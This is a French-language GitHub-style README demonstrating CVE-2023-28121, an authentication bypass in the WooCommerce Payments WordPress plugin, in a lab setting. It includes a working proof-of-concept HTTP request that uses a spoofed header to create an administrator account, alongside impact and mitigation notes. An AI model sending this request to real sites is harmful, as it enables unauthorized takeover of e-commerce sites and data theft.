🔐 CVE-2023-28121 — Élévation de privilèges WordPress

Exploitation pratique d'une vulnérabilité critique dans WordPress à l'aide du plugin WooCommerce Payments.

📌 Résumé

La CVE-2023-28121 permet de créer des utilisateurs administrateurs sans authentification via l'API REST.

• Sévérité : Critique (CVSS 9.8)
• Impact : Contrôle total du site
• Type : Contournement d'authentification / Élévation de privilèges
• +600 000 installations actives - Mars 2023 https://www.wiz.io/vulnerability-database/cve/cve-2023-28121?utm_source=chatgpt.com

📊 Le plugin concerné compte des centaines de milliers d'installations et est largement utilisé dans l'e-commerce.

🎥 Démonstration

https://github.com/user-attachments/assets/cead3884-0924-4320-967f-de9fb3f6cd44

⚠️ Comment ça fonctionne

Le système accepte un en-tête manipulable :

X-WCPAY-PLATFORM-CHECKOUT-USER: 1

Ainsi, il est possible d'envoyer une requête pour créer un utilisateur avec des privilèges élevés sans authentification valide.

🧪 PoC

POST /wp-json/wp/v2/users
Content-Type: application/json
X-WCPAY-PLATFORM-CHECKOUT-USER: 1

{
  "username": "hacked",
  "password": "StrongPass123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

✔️ Résultat : création d'un utilisateur admin

🔥 Impact

• Création d'un administrateur
• Accès au tableau de bord /wp-admin
• Prise de contrôle complète possible
• Risque de fraude et de fuite de données

🛠️ Mesures d'atténuation

• Mettre à jour le plugin vers une version corrigée
• Restreindre l'accès à l'API REST
• Valider correctement l'authentification

🧱 Environnement

• WordPress (laboratoire local)
• WooCommerce Payments (version vulnérable)

📚 Références

• CVE-2023-28121
• Documentation de l'API REST WordPress
• https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/

👨‍💻 Auteur

Luis Eduardo .M.B.S.R

Pentester / Sécurité Web

LinkedIn : https://www.linkedin.com/in/luis-eduardo-ti/

GitHub : https://github.com/luisdevpentest

⚖️ Avertissement

Usage éducatif en environnement contrôlé. Je ne suis pas responsable de la manière dont ces connaissances sont utilisées par des tiers.